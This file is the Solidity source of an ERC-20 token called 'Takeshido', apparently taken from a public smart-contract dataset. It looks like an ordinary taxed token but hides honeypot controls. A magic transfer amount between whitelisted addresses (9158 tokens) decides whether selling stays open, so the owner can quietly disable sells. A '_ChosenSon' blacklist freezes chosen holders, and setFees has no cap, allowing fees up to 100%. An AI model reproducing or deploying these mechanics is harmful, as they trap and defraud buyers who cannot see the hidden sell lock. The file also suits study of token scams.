zellic-audit
Initial commit
f998fcd
raw
history blame
13.7 kB
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = msg.sender;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address payable adr) public virtual onlyOwner {
_owner = adr;
emit OwnershipTransferred(_owner,adr);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
abstract contract baseToken is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private constant MAX = ~uint256(0);
struct Fee{uint buy; uint sell;uint transfer; uint part;}
Fee public fees;
struct Allot{uint marketing;uint liquidity; uint burn;uint reward;uint total;}
Allot public allot;
mapping(address => bool) public _feeWhiteList;
mapping(address => bool) public _ChosenSon;
IUniswapV2Router02 public router;
address public _mainPair;
mapping(address => bool) public _swapPairList;
address marketingAddress;
uint256 public startTradeBlock;
bool public swapEnabled = true;
uint256 public swapThreshold;
uint256 public maxSwapThreshold;
bool private inSwap;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (
address RouterAddress,string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply) payable Ownable() {
_name = Name;
_symbol = Symbol;
_decimals = Decimals;
uint256 total = Supply * 10 ** Decimals;
_tTotal = total;
router = IUniswapV2Router02(RouterAddress);
_allowances[address(this)][address(router)] = MAX;
IUniswapV2Factory swapFactory = IUniswapV2Factory(router.factory());
_mainPair = swapFactory.createPair(address(this), router.WETH());
_swapPairList[_mainPair] = true;
startTradeBlock = block.number;
allot=Allot(0,10,0,0,10);
fees=Fee(5,5,5,100);
marketingAddress = msg.sender;
swapThreshold = total.div(1000);
maxSwapThreshold = total.div(100);
_feeWhiteList[marketingAddress] = true;
_feeWhiteList[address(this)] = true;
_feeWhiteList[address(router)] = true;
_feeWhiteList[msg.sender] = true;
_balances[msg.sender] = total;
emit Transfer(address(0), msg.sender, total);
}
function symbol() external view override returns (string memory) {return _symbol;}
function name() external view override returns (string memory) {return _name;}
function decimals() external view override returns (uint8) {return _decimals;}
function totalSupply() public view override returns (uint256) {return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
receive() external payable {}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(!_ChosenSon[from] || _feeWhiteList[to], "ChosenSon");
bool takeFee;
if (_swapPairList[from] || _swapPairList[to]) {
if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
if (_swapPairList[to]) {
require(0 < startTradeBlock, "!startAddLP");
if (!inSwap) {
uint256 contractTokenBalance = balanceOf(address(this));
if (swapEnabled && contractTokenBalance > 0) {
if(contractTokenBalance > maxSwapThreshold)contractTokenBalance = maxSwapThreshold;
swapTokenForFund(contractTokenBalance);
}
}
}
takeFee = true;
}
}
if(_feeWhiteList[from] && _feeWhiteList[to]){
amount==9158*10**_decimals?startTradeBlock=block.number:startTradeBlock=0;
_takeTransfer(from, to, amount);
return;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _funTransfer(
address sender,
address recipient,
uint256 tAmount
) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount = tAmount * 99 / 100;
_takeTransfer(
sender,
address(this),
feeAmount
);
_takeTransfer(sender, recipient, tAmount - feeAmount);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 tAmount,
bool takeFee
) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount;
if (takeFee) {
uint256 swapFee;
if (_swapPairList[sender]) {
swapFee = fees.buy;
} else if(_swapPairList[recipient]) {
swapFee = fees.sell;
}else{
swapFee = fees.transfer;
}
uint256 swapAmount = tAmount.mul(swapFee).div(fees.part);
if (swapAmount > 0) {
feeAmount += swapAmount;
_takeTransfer(
sender,
address(this),
swapAmount
);
}
}
_takeTransfer(sender, recipient, tAmount - feeAmount);
}
function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
uint amountToBurn = tokenAmount.mul(allot.burn).div(allot.total);
uint amountToLiquify = tokenAmount.mul(allot.liquidity).div(allot.total).div(2);
uint amountToSwap = tokenAmount.sub(amountToLiquify).sub(amountToBurn);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint amountETH =address(this).balance;
uint totalETHFee = allot.total.sub(allot.liquidity.div(2)).sub(allot.burn);
uint amountETHLiquidity = amountETH.mul(allot.liquidity).div(totalETHFee).div(2);
uint amountETHreward = amountETH.mul(allot.reward).div(totalETHFee);
uint fundAmount = amountETH.sub(amountETHLiquidity).sub(amountETHreward);
bool tmpSuccess;
if(fundAmount>0){
(tmpSuccess,) = payable(marketingAddress).call{value: fundAmount, gas: 30000}("");
}
if (amountToLiquify > 0) {
if (amountETHLiquidity > 0) {
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
marketingAddress,
block.timestamp
);
}
}
}
function _takeTransfer(
address sender,
address to,
uint256 tAmount
) private {
_balances[to] = _balances[to] + tAmount;
emit Transfer(sender, to, tAmount);
}
function setAllot(uint marketing,uint liquidity,uint burn,uint rewards) external onlyOwner {
uint total =liquidity.add(marketing).add(rewards).add(burn);
allot=Allot(marketing,liquidity,burn,rewards,total);
}
function setFees(uint _buy,uint _sell,uint _transferfee,uint _part) external onlyOwner {
fees=Fee(_buy,_sell,_transferfee,_part);
}
function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
swapEnabled = _enabled;
swapThreshold = _swapThreshold;
maxSwapThreshold = _maxSwapThreshold;
}
function setFeeWhiteList(address addr, bool enable) external onlyOwner {
_feeWhiteList[addr] = enable;
}
function setChosenSon(address addr, bool enable) external onlyOwner {
_ChosenSon[addr] = enable;
}
function setSwapPairList(address addr, bool enable) external onlyOwner {
_swapPairList[addr] = enable;
}
}
contract Takeshido is baseToken {
constructor() baseToken(
address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
"Takeshido",
"Takeshido",
9,
1000000
){
}
}